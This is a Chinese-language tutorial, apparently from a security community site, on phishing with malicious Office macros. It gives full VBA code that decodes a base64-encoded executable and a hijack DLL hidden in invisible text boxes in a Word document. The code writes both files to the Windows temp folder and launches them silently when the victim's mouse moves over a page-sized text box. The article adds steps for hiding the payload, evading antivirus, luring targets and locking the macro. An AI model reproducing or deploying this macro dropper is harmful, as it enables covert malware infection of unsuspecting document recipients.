實戰 | 釣魚與社工系列之office宏 - 網安 - 專業的網絡安全產業、社區、知識平臺

0x01 介紹

根據多次項目實戰中發現，office宏仍然是最高的成功率，在靜默釣魚中也是最不容易觸發人員的警覺。因為大部分員工即使有安全意識，也是不運行陌生的exe程序，但是對于word文檔則沒有足夠的安全意識，認為word文檔都是安全的。正是基于此心理狀態，office宏在釣魚中仍然占據重要成分。

當然，現在office在國內市場中其實占據并不多，越來越多人用wps了。那么這種情況下office宏肯定是無效了，下篇文章會針對該情景分析如何釣魚。

0x02 宏代碼流程及免殺

網上有很多項目及文章是如何實現宏免殺的效果，之所以要宏免殺大部分原因都是代碼是實現運行宏的時候就直接遠程上線到rat上。例如調用powershell或者遠程下載等等代碼所用到的api或者函數，都被殺軟盯著。那么換個思路，我們即不調用powershell執行敏感函數，也不遠程下載文件，我們所做要的是釋放文件并通過dll劫持實現上線。

釋放文件其實也是個技術活，經過測試，能否釋放文件成功主要看你的文件是不是靜態免殺，如果文件靜態免殺，那么就能夠成功釋放。因為這就是個正常的功能，殺軟不可能攔截你釋放安全的文件，不然就影響一些職業的正常辦公了。而我們用的是dll劫持的方法，白名單程序肯定是安全的文件，那么就是我們的惡意dll文件如何實現靜態免殺了。如何讓dll文件靜態免殺的方法很多，網上也有很多項目，這塊內容不在該文章里，以后會詳細講解。

上段說了釋放文件，而文件也都靜態免殺了。那么還有一個要注意的地方，那就是dll劫持的程序保存在word文件哪里？首先我們得將dll劫持程序已二進制形式讀取出來，然后base64編碼后得到了一串字符串，只要釋放的時候重新base64解碼并已二進制形式寫入到磁盤里，這樣就能夠釋放出dll劫持程序了。那么重點就是該base64字符串存放在哪里？千萬別放在宏代碼里，很容易被殺，最好的規避殺軟的方法就是將base64字符串放到word正文里的文本框等控件里。然后宏代碼去讀取文本框里的base64字符串，再解碼寫入磁盤里并運行白程序實現上線。這樣通過該方法就能夠實現了宏免殺。

最后一步就是如何觸發宏了，千萬不要使用打開word文件就觸發宏的方法，很容易被殺軟攔截。我常用的方法就是弄一個很大的文本框放在第一頁，然后當目標的鼠標移動到文本框時就觸發宏。這樣的方法既能有效規避殺軟，還能在目標不知情的情況下觸發了宏！

總結：尋找一個dll劫持的白程序，做一個靜態免殺的dll文件，將所有文件以二進制形式讀取出來并base64編碼后存放到word的文本框里。宏代碼功能讀取文本框里的字符串并解碼寫入磁盤，然后運行白程序即可免殺上線！

0x03 宏代碼

0x03-1 讀取文件并base64編碼

先使用下面的代碼將白程序和dll文件base64編碼得到字符串

Sub WriteBinary(FileName, Buf)  Dim I, aBuf, Size, bStream  Size = UBound(Buf): ReDim aBuf(Size \ 2)  For I = 0 To Size - 1 Step 2      aBuf(I \ 2) = ChrW(Buf(I + 1) * 256 + Buf(I))  Next  If I = Size Then aBuf(I \ 2) = ChrW(Buf(I))  aBuf = Join(aBuf, "")  Set bStream = CreateObject("ADODB.Stream")  bStream.Type = 1: bStream.Open  With CreateObject("ADODB.Stream")    .Type = 2: .Open: .WriteText aBuf    .Position = 2: .CopyTo bStream: .Close  End With  bStream.SaveToFile FileName, 2: bStream.Close  Set bStream = NothingEnd Sub
Function Base64Encode(str() As Byte) As String                                  'Base64 編碼    On Error GoTo over                                                          '排錯    Dim Buf() As Byte, length As Long, mods As Long    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="    mods = (UBound(str) + 1) Mod 3   '除以3的余數    length = UBound(str) + 1 - mods    ReDim Buf(length / 3 * 4 + IIf(mods <> 0, 4, 0) - 1)    Dim I As Long    For I = 0 To length - 1 Step 3        Buf(I / 3 * 4) = (str(I) And &HFC) / &H4        Buf(I / 3 * 4 + 1) = (str(I) And &H3) * &H10 + (str(I + 1) And &HF0) / &H10        Buf(I / 3 * 4 + 2) = (str(I + 1) And &HF) * &H4 + (str(I + 2) And &HC0) / &H40        Buf(I / 3 * 4 + 3) = str(I + 2) And &H3F    Next    If mods = 1 Then        Buf(length / 3 * 4) = (str(length) And &HFC) / &H4        Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10        Buf(length / 3 * 4 + 2) = 64        Buf(length / 3 * 4 + 3) = 64    ElseIf mods = 2 Then        Buf(length / 3 * 4) = (str(length) And &HFC) / &H4        Buf(length / 3 * 4 + 1) = (str(length) And &H3) * &H10 + (str(length + 1) And &HF0) / &H10        Buf(length / 3 * 4 + 2) = (str(length + 1) And &HF) * &H4        Buf(length / 3 * 4 + 3) = 64    End If    For I = 0 To UBound(Buf)        Base64Encode = Base64Encode + Mid(B64_CHAR_DICT, Buf(I) + 1, 1)    Nextover:End Function
'VB Base64 解碼/解密函數：
Function Base64Decode(B64 As String) As Byte()                                  'Base64 解碼    On Error GoTo over                                                          '排錯    Dim OutStr() As Byte, I As Long, j As Long    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="    If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)     '判斷Base64真實長度,除去補位    Dim length As Long, mods As Long    mods = Len(B64) Mod 4    length = Len(B64) - mods    ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))    For I = 1 To length Step 4        Dim Buf(3) As Byte        For j = 0 To 3            Buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, I + j, 1)) - 1            '根據字符的位置取得索引值        Next        OutStr((I - 1) / 4 * 3) = Buf(0) * &H4 + (Buf(1) And &H30) / &H10        OutStr((I - 1) / 4 * 3 + 1) = (Buf(1) And &HF) * &H10 + (Buf(2) And &H3C) / &H4        OutStr((I - 1) / 4 * 3 + 2) = (Buf(2) And &H3) * &H40 + Buf(3)    Next    If mods = 2 Then        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16    ElseIf mods = 3 Then        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16        OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4    End If    Base64Decode = OutStr                                                       '讀取解碼結果over:End Function
Sub test2()    Dim iFN As Integer    Dim sPath As String    Dim bFileSize As Long    Dim sResult As String    Dim arr() As Byte       ' 字節數組    Dim arra() As Byte       ' 字節數組    Dim infile, outfile, infileBase As String    infile = "C:\Windows\Temp\123.exe"    outfile = "c:\windows\temp\1.exe"
    iFN = VBA.FreeFile
    bFileSize = VBA.FileLen(infile)    'Debug.Print bFileSize    Open infile For Binary Access Read As iFN    arr = InputB(bFileSize, iFN)        '讀取字節流
    infileBase = Base64Encode(arr())
    'Debug.Print infileBase
    Dim FSO    Set FSO = CreateObject("Scripting.FileSystemObject")
    Set OutPutFile = FSO.OpenTextFile("C:\windows\temp\test.txt", 2, True)    OutPutFile.Write (infileBase)    OutPutFile.Close    Set FSO = Nothing
    'Dim infileBaseExe As String    'infileBaseExe = Range("J22").Value    'infileBaseExe = infileBaseExe + Range("J23").Value
    'arra = Base64Decode(infileBase)
    'WriteBinary outfile, arra
End Sub

0x03-2 office宏上線代碼

從文本框中讀取base64內容，解碼后寫入到c:\windows\temp\目錄下，當用戶鼠標移動或點擊到文本框中，觸發宏執行木馬

Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtrPrivate Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtrPrivate Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As LongPrivate Declare PtrSafe Sub ByteSwapper Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal length As Long, ByVal Fill As Byte)Private Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As LongPrivate Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As Long) As LongPrivate Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As LongPrivate Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Type PROCESS_INFORMATION    hProcess As Long    hThread As Long    dwProcessId As Long    dwThreadId As LongEnd Type
Private Type STARTUPINFO    cb As Long    lpReserved As String    lpDesktop As String    lpTitle As String    dwX As Long    dwY As Long    dwXSize As Long    dwYSize As Long    dwXCountChars As Long    dwYCountChars As Long    dwFillAttribute As Long    dwFlags As Long    wShowWindow As Integer    cbReserved2 As Integer    lpReserved2 As Long    hStdInput As Long    hStdOutput As Long    hStdError As LongEnd Type
Const CREATE_NO_WINDOW = &H8000000Const CREATE_NEW_CONSOLE = &H10
Function fileExist(filePath)    Dim fso    Set fso = CreateObject("Scripting.FileSystemObject")    If fso.fileExists(filePath) Then        fileExist = True    Else        fileExist = False    End If    Set fso = NothingEnd Function
Function dddddd(B64 As String) As Byte()    On Error GoTo over    Dim OutStr() As Byte, i As Long, j As Long    Const B64_CHAR_DICT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="    If InStr(1, B64, "=") <> 0 Then B64 = Left(B64, InStr(1, B64, "=") - 1)    Dim length As Long, mods As Long    mods = Len(B64) Mod 4    length = Len(B64) - mods    ReDim OutStr(length / 4 * 3 - 1 + Switch(mods = 0, 0, mods = 2, 1, mods = 3, 2))    For i = 1 To length Step 4        Dim buf(3) As Byte        For j = 0 To 3            buf(j) = InStr(1, B64_CHAR_DICT, Mid(B64, i + j, 1)) - 1        Next        OutStr((i - 1) / 4 * 3) = buf(0) * &H4 + (buf(1) And &H30) / &H10        OutStr((i - 1) / 4 * 3 + 1) = (buf(1) And &HF) * &H10 + (buf(2) And &H3C) / &H4        OutStr((i - 1) / 4 * 3 + 2) = (buf(2) And &H3) * &H40 + buf(3)    Next    If mods = 2 Then        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16    ElseIf mods = 3 Then        OutStr(length / 4 * 3) = (InStr(1, B64_CHAR_DICT, Mid(B64, length + 1, 1)) - 1) * &H4 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &H30) / 16        OutStr(length / 4 * 3 + 1) = ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 2, 1)) - 1) And &HF) * &H10 + ((InStr(1, B64_CHAR_DICT, Mid(B64, length + 3, 1)) - 1) And &H3C) / &H4    End If    dddddd = OutStrover:End Function
Function runCommand(comando)    Dim pInfo As PROCESS_INFORMATION    Dim sInfo As STARTUPINFO    Dim sNull As String    Dim lSuccess As Long    Dim lRetValue As Long
    lSuccess = CreateProcess(sNull, comando, ByVal 0&, ByVal 0&, 1&, CREATE_NO_WINDOW, ByVal 0&, sNull, sInfo, pInfo)
    lRetValue = CloseHandle(pInfo.hThread)    lRetValue = CloseHandle(pInfo.hProcess)
End Function
Function WriteBinary(FileName, buf)  Dim i, aBuf, Size, bStream  Size = UBound(buf): ReDim aBuf(Size \ 2)  For i = 0 To Size - 1 Step 2      aBuf(i \ 2) = ChrW(buf(i + 1) * 256 + buf(i))  Next  If i = Size Then aBuf(i \ 2) = ChrW(buf(i))  aBuf = Join(aBuf, "")  Set bStream = CreateObject("ADODB.Stream")  bStream.Type = 1: bStream.Open  With CreateObject("ADODB.Stream")    .Type = 2: .Open: .WriteText aBuf    .Position = 2: .CopyTo bStream: .Close  End With  bStream.SaveToFile FileName, 2: bStream.Close  Set bStream = NothingEnd Function
Function releaseFile(path As String, conte As String)
    hwminiArra = dddddd(conte)    WriteBinary path, hwminiArra
End Function
Function start()    Dim filePath As String    filePath = "C:\Windows\temp\aaaaaaa.exe"    If Not fileExist(filePath) Then        releaseFile "C:\Windows\temp\aaaaaaa.exe", Replace(ActiveDocument.Shapes(1).TextFrame.TextRange, Chr(13), Empty)        releaseFile "C:\Windows\temp\aaaaaaaaaaa.dll", Replace(ActiveDocument.Shapes(2).TextFrame.TextRange, Chr(13), Empty)    End If    runCommand (filePath)
End Function
Private Sub TextBox2_MouseDown(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)    Static i As Integer    i = i + 1    If i < 3 Then        start    End IfEnd Sub
Private Sub TextBox2_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)    Static i As Integer    i = i + 1    If i < 3 Then        start    End IfEnd Sub

0x04 隱藏文本框

將dll劫持的程序base64編碼后存放在文本框里

文本框的線條設置為無顏色

將base64字符串的字體設置為白色，

將最后一頁的最上方空白行刪掉，那么這時候就看不到文本框了

在首頁將觸發宏的文本框拉到最大，然后話術誘導目標將鼠標移動或點擊文本框

0x05 宏代碼加密

為了防止宏代碼被分析，可以設置密碼。當然這僅僅只是防不懂的人，懂的人還是會用工具解密的。